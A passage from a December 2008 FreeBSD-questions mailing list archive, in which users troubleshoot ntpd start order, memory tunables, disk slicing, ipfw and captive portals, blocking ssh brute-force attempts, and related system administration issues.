>> happens on bootup - ntpd has 2 processes and does not adjust the clock. >> Restarting ntpd while named is running fixes the problem >> >> I believe that the fix for this is to add a dependency to /etc/rc.d/ntpd >> script, adding "named" to "REQUIRE" section in comments. In your opinion, >> is this a robust fix? For example the line in my /etc/rc.d/ntpd script that >> looks like so: >> >> # REQUIRE: DAEMON ntpdate cleanvar devfs >> >> would be changed to this: >> >> # REQUIRE: DAEMON ntpdate cleanvar devfs named > > Modifying /etc/rc.d/ntpd in this manner did not fix the problem. I > still have 2 ntpd processes running indefinitely after bootup of the > system, until I manually issue a "/etc/rc.d/ntpd restart", after which > the ntpd runs fine. As a separate test, I tried adjusting my > resolv.conf to point to an external name server, and I disabled named > at startup, and used the original /etc/rc.d/ntpd. I still got the > same problem - 2 ntpd processes running indefinitely. > > Does anyone know why I'm getting 2 ntpd processes running after bootup > (and ntpd fails to adjust the clock as a result)? Any suggested fix > would be appreciated. > I figured out a fix for this problem! I add ntpdate_enable="YES" to my /etc/rc.conf. As a result, after bootup ntpd is running only one process and the clock gets adjusted gradually after I set it back 30 seconds. So why does running ntpdate at bootup fix the ntpd 2 process hanging problem? Well I had a look at /etc/rc.d/ntpdate: # REQUIRE: NETWORKING syslogd named And, ntpd requires ntpdate. So maybe NETWORKING is the answer to this problem. Without NETWORKING DNS lookups cannot happen and the ntpd process that does the DNS lookups hangs. So it sounds like if you are gonna run ntpd at startup you'd better run ntpdate as well. From nlandys at gmail.com Wed Dec 3 15:32:56 2008 From: nlandys at gmail.com (Nerius Landys) Date: Wed Dec 3 15:33:05 2008 Subject: named and ntpd start order in rc.d In-Reply-To: <493715BA.8050000@FreeBSD.org> References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <560f92640812031301m5f51d2c7ia3bcf44454a47820@mail.gmail.com> <493715BA.8050000@FreeBSD.org> Message-ID: <560f92640812031532t1b02ee4k8032670e7fbeed94@mail.gmail.com> > I don't know why those processes are hung after boot, but in order to > troubleshoot the problem, I suggest that you modify the /etc/rc.d/ntpd > script to invoke ntpd from truss and log the output to a file, e.g. > /tmp/truss.log.$$. Once you've rebooted, kill the processes and post > the the log files on a web site somewhere so we can have a look at them. Um, the truss thing is a little over my head. I don't think I have the cranium capacity for this. Sorry. > Also, what are the contents of your /etc/ntp.conf file? Here is my ntp.conf: server 0.us.pool.ntp.org server 1.us.pool.ntp.org server 2.us.pool.ntp.org server 3.us.pool.ntp.org restrict default kod nomodify notrap nopeer noquery From nlandys at gmail.com Wed Dec 3 15:38:58 2008 From: nlandys at gmail.com (Nerius Landys) Date: Wed Dec 3 15:39:05 2008 Subject: named and ntpd start order in rc.d In-Reply-To: <77BB50CF-73C4-4A11-9E78-A3FA69D2D890@mac.com> References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <560f92640812031301m5f51d2c7ia3bcf44454a47820@mail.gmail.com> <77BB50CF-73C4-4A11-9E78-A3FA69D2D890@mac.com> Message-ID: <560f92640812031538r39615524ne8f2afdf8ae7d4e8@mail.gmail.com> > When ntpd first starts up, it forks a child process to perform DNS > resolution of the timeservers listed in its config. If that fails, that > generally indicates that DNS was not working at the time, or something else > was going wrong with the network. > > [ See ntpd/ntp_config.c, search for fork() or "ntpd_initres". ] > > The fix is to make sure that you have a working network and resolver > available when you try to startup ntpd. Failing that, you can hardcode IP > addresses in /etc/ntp.conf, but that's a bad idea for anything outside of > timeservers which you control. > Thank you! That explains the problem. I had a hunch that the problem was along these lines. From Kevin at RawFedDogs.net Wed Dec 3 15:46:45 2008 From: Kevin at RawFedDogs.net (Kevin Monceaux) Date: Wed Dec 3 15:46:52 2008 Subject: Returning User With Filesystem/Memory Tuning Questions In-Reply-To: <20081203202155.GA84629@slackbox.xs4all.nl> References: <20081203202155.GA84629@slackbox.xs4all.nl> Message-ID: On Wed, 3 Dec 2008, Roland Smith wrote: > Application crashed can also be due to bad hardware, especially memory. > Make sure that you rule out hardware troubles before diving into the > software. I don't think it was hardware related, but it's a possibility. Jogging my memory a bit more I think the first program I had memory allocation problems was tin. Fetching headers from even a semi-large newsgroup would cause tin to crash. I forget the exact error messages but they were something along the lines of not being able to allocate the needed amount of memory. At the times of the failures there appeared to be available RAM with swap space completely untouched. The errors occurred at about the same point in fetching the headers each time. After much Googling I tried adjusting the following: kern.maxdsiz kern.dfldsiz kern.maxssiz which greatly improved things. But, I adjusted them using examples of values I found on the net without really understanding what I was doing. This time around I want to learn how to tweak whatever settings need to be tweaked to best use my available memory. Are the above settings what I should be adjusting and/or are there others? I know it's probably impossible to give advice on exactly what to tune without knowing the exact errors I was seeing. But some general memory tuning advice might help until I'm able to reinstall and try things out. P.S. I've switched from tin to pan which seems to be much less of a memory hog, so that helps quite a bit. Kevin http://www.RawFedDogs.net http://www.WacoAgilityGroup.org Bruceville, TX Si hoc legere scis nimium eruditionis habes. Longum iter est per praecepta, breve et efficax per exempla!!! From cswiger at mac.com Wed Dec 3 15:53:26 2008 From: cswiger at mac.com (Chuck Swiger) Date: Wed Dec 3 15:53:33 2008 Subject: named and ntpd start order in rc.d In-Reply-To: <560f92640812031301m5f51d2c7ia3bcf44454a47820@mail.gmail.com> References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <560f92640812031301m5f51d2c7ia3bcf44454a47820@mail.gmail.com> Message-ID: <77BB50CF-73C4-4A11-9E78-A3FA69D2D890@mac.com> On Dec 3, 2008, at 1:01 PM, Nerius Landys wrote: [ ... ] > Does anyone know why I'm getting 2 ntpd processes running after bootup > (and ntpd fails to adjust the clock as a result)? Any suggested fix > would be appreciated. When ntpd first starts up, it forks a child process to perform DNS resolution of the timeservers listed in its config. If that fails, that generally indicates that DNS was not working at the time, or something else was going wrong with the network. [ See ntpd/ntp_config.c, search for fork() or "ntpd_initres". ] The fix is to make sure that you have a working network and resolver available when you try to startup ntpd. Failing that, you can hardcode IP addresses in /etc/ntp.conf, but that's a bad idea for anything outside of timeservers which you control. -- -Chuck From glarkin at FreeBSD.org Wed Dec 3 16:08:18 2008 From: glarkin at FreeBSD.org (Greg Larkin) Date: Wed Dec 3 16:08:24 2008 Subject: named and ntpd start order in rc.d In-Reply-To: <560f92640812031301m5f51d2c7ia3bcf44454a47820@mail.gmail.com> References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <560f92640812031301m5f51d2c7ia3bcf44454a47820@mail.gmail.com> Message-ID: <493715BA.8050000@FreeBSD.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Nerius Landys wrote: >> FreeBSD 7.0. I am having a problem when ntpd starts at bootup. It >> continues to have 2 processes running, the process which does the DNS lookup >> fails to exit, and ntpd fails to adjust the clock even after days of >> running. Immediately after bootup and several hours or days later this is >> what I get: >> >> # ps -U root | grep ntpd >> 87837 ?? Ss 0:00.03 /usr/sbin/ntpd -c /etc/ntp.conf -p >> /var/run/ntpd.pid >> 87838 ?? S 0:00.00 /usr/sbin/ntpd -c /etc/ntp.conf -p >> /var/run/ntpd.pid >> >> If I do a "/etc/rc.d/ntpd restart" on a running system it fixes the problem, >> and only one of the ntpd processes remains, and the clock gets adjusted. >> >> I have named running as a caching name server on my system. The contents of >> my /etc/resolv.conf: >> >> domain nerius.com >> nameserver 127.0.0.1 >> >> My /etc/rc.conf: >> >> ... >> named_enable="YES" >> ntpd_enable="YES" >> ... >> >> I believe that the problem with ntpd is that named is started AFTER ntpd. >> >> Trying to reproduce problem. On a running system. I shut down named. Then >> I restart ntpd, then I start named. I can reproduce the problem that >> happens on bootup - ntpd has 2 processes and does not adjust the clock. >> Restarting ntpd while named is running fixes the problem >> >> I believe that the fix for this is to add a dependency to /etc/rc.d/ntpd >> script, adding "named" to "REQUIRE" section in comments. In your opinion, >> is this a robust fix? For example the line in my /etc/rc.d/ntpd script that >> looks like so: >> >> # REQUIRE: DAEMON ntpdate cleanvar devfs >> >> would be changed to this: >> >> # REQUIRE: DAEMON ntpdate cleanvar devfs named > > Modifying /etc/rc.d/ntpd in this manner did not fix the problem. I > still have 2 ntpd processes running indefinitely after bootup of the > system, until I manually issue a "/etc/rc.d/ntpd restart", after which > the ntpd runs fine. As a separate test, I tried adjusting my > resolv.conf to point to an external name server, and I disabled named > at startup, and used the original /etc/rc.d/ntpd. I still got the > same problem - 2 ntpd processes running indefinitely. > > Does anyone know why I'm getting 2 ntpd processes running after bootup > (and ntpd fails to adjust the clock as a result)? Any suggested fix > would be appreciated. Hi Nerius, I don't know why those processes are hung after boot, but in order to troubleshoot the problem, I suggest that you modify the /etc/rc.d/ntpd script to invoke ntpd from truss and log the output to a file, e.g. /tmp/truss.log.$$. Once you've rebooted, kill the processes and post the the log files on a web site somewhere so we can have a look at them. Also, what are the contents of your /etc/ntp.conf file? Best regards, Greg - -- Greg Larkin http://www.FreeBSD.org/ - The Power To Serve http://www.sourcehosting.net/ - Ready. Set. Code. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJNxW60sRouByUApARApi2AKC+p8UxGYtbdnF/SDGxB4yGV8mpOgCfTi8s yeb2mXFtkWw4OoDxrPWtkho= =O9RE -----END PGP SIGNATURE----- From jguojun at gmail.com Wed Dec 3 16:11:37 2008 From: jguojun at gmail.com (Jin Guojun) Date: Wed Dec 3 16:12:08 2008 Subject: install 6.4 on Dell OPTIPLEX 755 panics Message-ID: <49371AD3.5060008@gmail.com> Install 6.4 from DVD on DELL Optiplex 755 (Core 2 DUE E6550 CPU with 2GB memory) always panic at last stage of boot. Is this a hardware specific (this machine only) issue? or is it a known hardware problem for DELL Optiplex 755? Disable ACPI does not help. Also noticed that 6.4 did not detect second core on this machine. -Jin ------------------ md0: Preload image 4423680 bytes at 0xc0bc79dc ad8: 238418MB at ata4-master SATA300 acd0: DVDROM at ata5-master SATA150 acd1: DVDR at ata6-master SATA150 umass0: at uhub6 port 2 (addr 2) disconected Fatal trap 12: page fault while in kernel mode fault virtual address = 0x20 fault code = supervisor read, page not present instruction pointer = 0x20:0xc045d1f6 stack pointer = 0x28:0xe56c8c64 frame pointer = 0x28:0xe56c8c68 code segment = base 0x0, limit 0dffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 1 current process = 11 (swi4: clock sio) trap number = 12 panic: page fault From derek at computinginnovations.com Wed Dec 3 17:27:48 2008 From: derek at computinginnovations.com (Derek Ragona) Date: Wed Dec 3 17:27:56 2008 Subject: what script is whacking root's files Message-ID: <6.0.0.22.2.20081203192259.0241ef88@mail.computinginnovations.com> I have a freshly installed 7.0 release server. The configuration files (all dot files including .ssh etc.) in /root keep getting deleted. I assume this is from a script running from periodic and can be set NOT to delete these files. Can someone point me where I need to make this change. I have already combed through the handbook and mailing list archives. Thanks, -Derek derek at computinginnovations.com -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From kelly.terry.jones at gmail.com Wed Dec 3 17:34:23 2008 From: kelly.terry.jones at gmail.com (Kelly Jones) Date: Wed Dec 3 17:34:30 2008 Subject: Unix domain socket tunnel to TCP on other machine Message-ID: <26face530812031734q6b052fd8if9ae0048ee7dd87@mail.gmail.com> For mimedefang/clamav purposes, I'm trying to setup a Unix domain socket that tunnels to a TCP port on another machine. For example, if I "telnet -u /var/spool/mysock" on machine X, I want it to be just like doing "telnet Y 25". I've poked around with stunnel and ssh's port forwarding/ControlMaster stuff, but I can't quite get this working. -- We're just a Bunch Of Regular Guys, a collective group that's trying to understand and assimilate technology. We feel that resistance to new ideas and technology is unwise and ultimately futile. From ansarm at gmail.com Wed Dec 3 17:40:41 2008 From: ansarm at gmail.com (Ansar Mohammed) Date: Wed Dec 3 17:40:48 2008 Subject: mount_smbfs and Kerberos Message-ID: <018e01c955b1$4f532070$edf96150$@com> mount_smbfs on OSX seems to have Kerberos support, does mount_smbfs on FreeBSD support Kerberos? From jeffrey at goldmark.org Wed Dec 3 17:43:29 2008 From: jeffrey at goldmark.org (Jeffrey Goldberg) Date: Wed Dec 3 17:43:37 2008 Subject: Firewalls using a DNSbl (and distributed ssh attacks) Message-ID: It's not a big issue, but I'm wondering if there is a DNSBl that lists IPs that are engaging in brute force ssh attacks. And if there is such a list, is there a way to integrate that information into a firewall or sshd. As I've said this really isn't a big issue for me, as the brute force attempts at sshd are nothing but an annoyance as I review logs. The attacks that I'm seeing appear to be coordinated and distributed. That is, there will be one attempt on username "fred" from one IP immediately followed by an attempt on "freddy" from another IP followed by an attempt on "fredrick" from a third source and so on. Cheers, -j -- Jeffrey Goldberg http://www.goldmark.org/jeff/ From rock_on_the_web at comcen.com.au Wed Dec 3 17:46:33 2008 From: rock_on_the_web at comcen.com.au (Da Rock) Date: Wed Dec 3 17:47:07 2008 Subject: UFS partitioning In-Reply-To: <20081202163920.GE90039@gizmo.acns.msu.edu> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> Message-ID: <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> On Tue, 2008-12-02 at 11:39 -0500, Jerry McAllister wrote: > On Tue, Dec 02, 2008 at 11:17:40AM +0100, Polytropon wrote: > > > On Tue, 2 Dec 2008 10:56:44 +0100 (CET), Pieter Donche wrote: > > > If FreeBSD is to put on the system as only operating system (Fdisk: > > > "A = Use Entire disk"), then will the BSD-partitions will show up as > > > ad0a (/), ad0b (swap), ad0d (/var) etc... correct or not (then what)? > > > > You're mixing terminology here. :-) The "use entire disk" will > > create a slice for FreeBSD covering the complete disk. A slice > > is what MICROS~1 calls "primary partition". > > > > Now the conclusion: Let's say you create a slice on ad0, it will > > be ad0s1. Now you can create partitions inside this slice as you > > mentioned it, e. g. ad0s1a = /, ad0s1b = swap, ad0s1d = /tmp, > > ad0s1e = /var, ad0s1f = /usr and ad0s1g = /home. > > True. Too bad MS had to use the same terminology for slices > as FreeBSD uses for subdivisions of slices. But, it won't be > undone now, so the confusion will continue. > > > But if you're > > refering to ad0a, ad0b, ad0d etc. you're stating that there's > > no slice, implying that (if I see this correctly) it isn't possible > > to boot from that disk. > > It is correct that this would imply no slice being created. > But it is not correct that it could not be bootable. You can > use bsdlabel to write the boot sector to ad0 instead of ad0s1 > and it would be bootable - but would be what someone has enjoyed > describing as a 'dangerously dedicated' disk. FreeBSD can deal > with it, but other systems cannot. > > I don't know if you can do this from sysinstall though. I have > never tried. But, it can be done by running bsdlabel by hand. > > > Of couse, if you would intend to use > > a (physical) second disk for only the home partition, you could > > omit the slice and the partition and simply newfs ad1 - but > > that wasn't your question. > > Probably the 'dangerously dedicated' disk is more often used this > way as an additional (second) drive that is not made bootable. > > In that case, it is unlikely that one would mount any of the > partitions on '/' making it the root filesystem. That may > be a problem. But, otherwise this looks probable or more likely > it would have some swap to add to the first disk and all the > rest in either the a or d partitions mounted as something > like '/work' or /scratch'. > > > > > ad0 |-----------------------------------------------| the whole disk > > ad0s1 \----------------------------------------------/ one slice > > ad0s1X \--/\---/\-----/\-----/\-------/\------------/ partitions > > a b d e f g > > / swap /tmp /var /usr /home mount point Excuse my nose in here- I just have a couple of questions. 1) It IS possible to boot from a dedicated disk? 2) Does using dedicated mode increase the space available to use? Partitioning normally takes up space so a HDD loses about 10% of usable space doesn't it, so the space used by partitioning is can now be used as filespace. These questions are all theoretical: I've only read in passing about dedicated mode, but the use of this would be highly specialised by extension. From roberthuff at rcn.com Wed Dec 3 17:56:59 2008 From: roberthuff at rcn.com (Robert Huff) Date: Wed Dec 3 17:57:06 2008 Subject: UFS partitioning In-Reply-To: <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> Message-ID: <18743.14461.951431.581673@jerusalem.litteratus.org> Da Rock writes: > Excuse my nose in here- I just have a couple of questions. > > 1) It IS possible to boot from a dedicated disk? Yes. Can't remember the last time I used anything else. > 2) Does using dedicated mode increase the space available to use? > Partitioning normally takes up space so a HDD loses about 10% of > usable space doesn't it, so the space used by partitioning is can > now be used as filespace. Not really; certainly not in the scale of state of the market drives. Robert Huff From kris at FreeBSD.org Wed Dec 3 18:44:41 2008 From: kris at FreeBSD.org (Kris Kennaway) Date: Wed Dec 3 18:44:47 2008 Subject: what script is whacking root's files In-Reply-To: <6.0.0.22.2.20081203192259.0241ef88@mail.computinginnovations.com> References: <6.0.0.22.2.20081203192259.0241ef88@mail.computinginnovations.com> Message-ID: <49374418.6060709@FreeBSD.org> Derek Ragona wrote: > I have a freshly installed 7.0 release server. The configuration files > (all dot files including .ssh etc.) in /root keep getting deleted. I > assume this is from a script running from periodic and can be set NOT to > delete these files. Can someone point me where I need to make this > change. I have already combed through the handbook and mailing list > archives. There is no such standard script in FreeBSD. Kris From danielby at slightlystrange.org Wed Dec 3 18:54:02 2008 From: danielby at slightlystrange.org (Daniel Bye) Date: Wed Dec 3 18:54:09 2008 Subject: Firewalls using a DNSbl (and distributed ssh attacks) In-Reply-To: References: Message-ID: <20081204025357.GD19575@torus.slightlystrange.org> On Wed, Dec 03, 2008 at 07:43:26PM -0600, Jeffrey Goldberg wrote: > It's not a big issue, but I'm wondering if there is a DNSBl that lists > IPs that are engaging in brute force ssh attacks. And if there is > such a list, is there a way to integrate that information into a > firewall or sshd. > > As I've said this really isn't a big issue for me, as the brute force > attempts at sshd are nothing but an annoyance as I review logs. > > The attacks that I'm seeing appear to be coordinated and distributed. > That is, there will be one attempt on username "fred" from one IP > immediately followed by an attempt on "freddy" from another IP > followed by an attempt on "fredrick" from a third source and so on. I don't know of any DNSbl type service, but I am using DenyHosts with very great success. Its synchronisation feature allows participating instances of the script to share IP addresses of misbehaving hosts, so as soon as an address hits the database, it's only a matter of an hour or so before your instance can start blocking it. The basic setup uses TCP wrappers to block offending hosts, but I am using the datafile it maintains as a file-based table in pf, which I reload periodically from a cronjob. Dan -- Daniel Bye _ ASCII ribbon campaign ( ) - against HTML, vCards and X - proprietary attachments in e-mail / \ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 195 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081204/8f9612ba/attachment.pgp From keramida at ceid.upatras.gr Wed Dec 3 19:12:22 2008 From: keramida at ceid.upatras.gr (Giorgos Keramidas) Date: Wed Dec 3 19:12:31 2008 Subject: Returning User With Filesystem/Memory Tuning Questions In-Reply-To: (Kevin Monceaux's message of "Wed, 3 Dec 2008 17:24:48 -0600 (CST)") References: <20081203202155.GA84629@slackbox.xs4all.nl> Message-ID: <87abbciqgr.fsf@kobe.laptop> On Wed, 3 Dec 2008 17:24:48 -0600 (CST), Kevin Monceaux wrote: > On Wed, 3 Dec 2008, Roland Smith wrote: > >> Application crashed can also be due to bad hardware, especially >> memory. Make sure that you rule out hardware troubles before diving >> into the software. > > I don't think it was hardware related, but it's a possibility. > > Jogging my memory a bit more I think the first program I had memory > allocation problems was tin. Fetching headers from even a semi-large > newsgroup would cause tin to crash. I forget the exact error messages > but they were something along the lines of not being able to allocate > the needed amount of memory. At the times of the failures there > appeared to be available RAM with swap space completely untouched. The > errors occurred at about the same point in fetching the headers each > time. After much Googling I tried adjusting the following: > > kern.maxdsiz > kern.dfldsiz > kern.maxssiz Hi Kevin, The `kern.maxdsiz' tunable is a boot-time option that limits the amount of memory a _single_ process can allocate for its `data'. The default value is 512 MB (the value reported by sysctl is the number of bytes): $ sysctl kern.maxdsiz kern.maxdsiz: 536870912 If a single process running on i386 wants to allocate more than 512 MB of memory, and it is not a large database server, then it's possible that something is wrong with the way the process handles its memory :) For what it's worth, I've been reading newsgroups with more than 5000 messages in Gnus, a newsreader that runs inside GNU Emacs, and its memory usage has *never* reached 512 MB, so if you want help to switch from the aging tin reader to something that is still maintained & developed actively, I will be glad to help. Gnus can run in text-only mode too, much like tin; it supports threading, scoring of messages by author, subject, by custom header filters, etc.; it can read messages from multiple news servers; it can work in `offline' mode and post all your outgoing messages later, when you get back online; it can prefetch all the messages of your favorite groups, and that's just a short list of the features I can remember off-hand. > which greatly improved things. But, I adjusted them using examples of > values I found on the net without really understanding what I was > doing. This time around I want to learn how to tweak whatever settings > need to be tweaked to best use my available memory. Well, you can just ask here, on the freebsd-questions list. There are _many_ knowledgeable subscribers who can describe what each FreeBSD option means, how to tune it for your own needs, and so on :-) From anthony.rasat at gmail.com Wed Dec 3 19:18:53 2008 From: anthony.rasat at gmail.com (Anthony M. Rasat) Date: Wed Dec 3 19:19:01 2008 Subject: hp dv2225nr laptop optical drive random ejects Message-ID: <1945089444-1228360728-cardhu_decombobulator_blackberry.rim.net-1342228431-@bxe1001.bisx.prodap.on.blackberry> >has anyone ever seen this happen? >system is 8.0-current, drive is not >being used and it will just eject while >sitting on a table. Yes, I did. It was hardware-related. It was the CD/DVD ribbon connector getting all wrinkles and apparently something resetting just out of even the smallest vibration. You may find this ribbon connector appearance conspicous. It usually gold or red colored. Look from under your laptop while drive's out if you can't see it from topside. And this ribbon connector is not exactly cheap too. I'm not sure why. -- Regards, Anthony M. Rasat Manager - Technical, Network and Support Division PT. Jawa Pos National Network Graha Pena Jawa Pos Group Building, 5th floor Jln. Raya Kebayoran Lama 12, Jakarta Barat 12210 Indonesia.- Phone 02132185562 Phone 081574217035 Fax 02153651465 Web http://www.jpnn.com From on at cs.ait.ac.th Wed Dec 3 19:33:28 2008 From: on at cs.ait.ac.th (Olivier Nicole) Date: Wed Dec 3 19:33:35 2008 Subject: ipfw and bridged interface Message-ID: <200812040333.mB43XNbH015909@banyan.cs.ait.ac.th> Hi, I remember that I read, many years ago, something about the way ipfw interacts with the IP stack. AFAIR, ipfw would be called on layer 2, where only certain rules would be applied, then on the IP layer where other rules would apply. Is it still the case? Where can I find th description? Best regards, Olivier From on at cs.ait.ac.th Wed Dec 3 19:37:18 2008 From: on at cs.ait.ac.th (Olivier Nicole) Date: Wed Dec 3 19:37:25 2008 Subject: Firewall with bridged interfaces and captive portal In-Reply-To: <20081203222520.GA19693@hal.rescomp.berkeley.edu> (message from Christopher Cowart on Wed, 3 Dec 2008 14:25:20 -0800) References: <200812030508.mB358SUx095910@banyan.cs.ait.ac.th> <20081203222520.GA19693@hal.rescomp.berkeley.edu> Message-ID: <200812040337.mB43bGHE015979@banyan.cs.ait.ac.th> Hi Chris, > > I need to implement a firewall with bridged interfaces that offers > > captive portal (authentication before opening the traffic). > > We are using a combination of squid+ipfw. Although we are NATing the > users, that really just introduces needless complexity that could be > avoided with a bridging solution. > > Our web-app/captive portal/authentication program is written in-house; > it's very tightly integrated with several existing pieces of > infrastructure. I don't know if there are any solutions that will work > out-of-the-box. > > I can get you more technical details if this is a direction you'd be > interested in moving. Long time ago I have been toying with ipf (for the genral firewall) and NoCat+ipfw for the captive portal. But that did not work too well, so any technical information will be appreciated :) My long term vision is a quite integrated thing, where users that read their email and authenticate to POP3/IMAP would be granted the access without the need to authenticate to the web portal. Best regards, Olivier From sahil at tandon.net Wed Dec 3 20:41:31 2008 From: sahil at tandon.net (Sahil Tandon) Date: Wed Dec 3 20:41:37 2008 Subject: mx1.freebsd.org In-Reply-To: <1bd820d80812012338v6c4c8926ncc24838956fa9ee7@mail.gmail.com> References: <1bd820d80812012338v6c4c8926ncc24838956fa9ee7@mail.gmail.com> Message-ID: <20081204044129.GA58784@shepherd> Ebbe Hjorth wrote: > My postfix mail servers shows to messages in the queue saying > > (host mx1.FreeBSD.org[69.147.83.52] said: 450 4.7.1 Client host rejected: > cannot find your hostname, [86.58.167.132] (in reply to RCPT TO command)) > > But when i do a lookup or a reverse lookup, i find my hostname, also > from work and other ip, not only local ;) > > Does mx1.freebsd.org have an old dns? - This affects me sending mail > to all the freebsd lists. Most likely a temporary DNS problem; are the messages still sitting in your queue? -- Sahil Tandon From Kevin at RawFedDogs.net Wed Dec 3 20:44:38 2008 From: Kevin at RawFedDogs.net (Kevin Monceaux) Date: Wed Dec 3 20:44:45 2008 Subject: Returning User With Filesystem/Memory Tuning Questions In-Reply-To: <87abbciqgr.fsf@kobe.laptop> References: <20081203202155.GA84629@slackbox.xs4all.nl> <87abbciqgr.fsf@kobe.laptop> Message-ID: On Thu, 4 Dec 2008, Giorgos Keramidas wrote: > For what it's worth, I've been reading newsgroups with more than 5000 > messages in Gnus, a newsreader that runs inside GNU Emacs, and its > memory usage has *never* reached 512 MB, I doubt I'd have a problem with newsgroups that small with either tin or pan. How well does Gnus handle groups with 1,000,000 to 2,000,000+ messages? My ISP dropped it's NNTP service a while back and I ended up signing up with GigaNews. They have 240 day retention for binary groups and 1,990 day retention for text groups. So, many of the group archives on their servers are huge. Granted I don't need to retrieve all the headers for a particular group, but it's not unusual for me to be browsing a group with a header count in the five to six digit range. > so if you want help to switch from the aging tin reader to something > that is still maintained & developed actively, I will be glad to help. I finally gave up on tin a while back and switched to pan. It seems to be less of a memory hog with larger groups than tin was. I prefer TUI based programs over GUI based programs, but I think pan is worth putting up with the GUI interface. It handles large groups with multi-part binary posts fairly well and makes good use of the ten NNTP connections GigaNews gives me. Chances are I might not have any problems with pan under FreeBSD. I might be misremembering, it may have only been tin I had problems with. But it wouldn't hurt to learn a little more about FreeBSD memory tunable settings even if I end up not needing them. Well, I guess I'll probably need at least a few if I go with ZFS this time around. I prefer vim over emacs but might take a look at Gnus. Kevin http://www.RawFedDogs.net http://www.WacoAgilityGroup.org Bruceville, TX Si hoc legere scis nimium eruditionis habes. Longum iter est per praecepta, breve et efficax per exempla!!! From peter at boosten.org Wed Dec 3 21:54:04 2008 From: peter at boosten.org (Peter Boosten) Date: Wed Dec 3 21:54:11 2008 Subject: arpwatch and isc-dhcp-relay Message-ID: <49377074.4010403@boosten.org> Hi all, When I install arpwatch and isc-dhcp-*relay* to listen on the same interface, the latter won't work, while on another machine arpwatch and isc-dhcp-*server* don't seem to bite on another. Anyone knows why? Peter -- http://www.boosten.org From fbsd.questions at rachie.is-a-geek.net Wed Dec 3 21:59:37 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Wed Dec 3 21:59:44 2008 Subject: Returning User With Filesystem/Memory Tuning Questions In-Reply-To: <87abbciqgr.fsf@kobe.laptop> References: <87abbciqgr.fsf@kobe.laptop> Message-ID: <200812040638.19923.fbsd.questions@rachie.is-a-geek.net> On Thursday 04 December 2008 04:12:04 Giorgos Keramidas wrote: > On Wed, 3 Dec 2008 17:24:48 -0600 (CST), Kevin Monceaux wrote: > > On Wed, 3 Dec 2008, Roland Smith wrote: > >> Application crashed can also be due to bad hardware, especially > >> memory. Make sure that you rule out hardware troubles before diving > >> into the software. > > > > I don't think it was hardware related, but it's a possibility. > > > > Jogging my memory a bit more I think the first program I had memory > > allocation problems was tin. Fetching headers from even a semi-large > > newsgroup would cause tin to crash. I forget the exact error messages > > but they were something along the lines of not being able to allocate > > the needed amount of memory. At the times of the failures there > > appeared to be available RAM with swap space completely untouched. The > > errors occurred at about the same point in fetching the headers each > > time. After much Googling I tried adjusting the following: > > > > kern.maxdsiz > > kern.dfldsiz > > kern.maxssiz > > Hi Kevin, > > The `kern.maxdsiz' tunable is a boot-time option that limits the amount > of memory a _single_ process can allocate for its `data'. And the dfldsiz is the initial soft limit. You can set dlfdsiz to 512 and maxdsiz to 1024, then all processes will initially bonk out at 512 and you'd have to use limit(1) to start up the process that needs more. 1024 will be the hard limit, nothing can excess beyond that. Datasize is simplified malloc(3) where ssiz = stack size. Function pointers and local variables that are not malloced (char foo[1024]), are put there till stack is exhausted. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From d.forsyth at ru.ac.za Wed Dec 3 22:42:45 2008 From: d.forsyth at ru.ac.za (DA Forsyth) Date: Wed Dec 3 22:42:52 2008 Subject: freebsd-update through proxy with auth In-Reply-To: <20081203145910.0cab5963@gumby.homeunix.com> References: <4936612D.20753.3BEA7E4@d.forsyth.ru.ac.za>, <20081203145910.0cab5963@gumby.homeunix.com> Message-ID: <49379802.9933.87CE421@d.forsyth.ru.ac.za> On 3 Dec 2008 , RW entreated about "Re: freebsd-update through proxy with auth": > On Wed, 03 Dec 2008 10:36:29 +0200 > "DA Forsyth" wrote: > > > Hiya > > > > How do I get freebsd-update to fetch through a proxy that requires > > authentication? I cannot find any options in the man pages. > > > > have you tried putting it in the proxy name > > http://user:pass@server:port sadly, that doesn't work looks like freebsd-update never queries the http_proxy env variable -- DA Fo rsyth Network Supervisor Principal Technical Officer -- Institute for Water Research http://www.ru.ac.za/institutes/iwr/ From tajudd at gmail.com Wed Dec 3 23:11:50 2008 From: tajudd at gmail.com (Tim Judd) Date: Wed Dec 3 23:11:59 2008 Subject: what script is whacking root's files In-Reply-To: <49374418.6060709@FreeBSD.org> References: <6.0.0.22.2.20081203192259.0241ef88@mail.computinginnovations.com> <49374418.6060709@FreeBSD.org> Message-ID: On Wed, Dec 3, 2008 at 7:44 PM, Kris Kennaway wrote: > Derek Ragona wrote: > >> I have a freshly installed 7.0 release server. The configuration files >> (all dot files including .ssh etc.) in /root keep getting deleted. I >> assume this is from a script running from periodic and can be set NOT to >> delete these files. Can someone point me where I need to make this change. >> I have already combed through the handbook and mailing list archives. >> > > There is no such standard script in FreeBSD. > > Kris > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > I'd make sure there's not something like a tmpfs/mfs filesystem that /root is being used on. If / is on a ramdisk image of any kind, on each reboot, it should disappear. Perhaps you should paste your fstab and current mounted filesystems as an aid to debug. From tajudd at gmail.com Wed Dec 3 23:17:19 2008 From: tajudd at gmail.com (Tim Judd) Date: 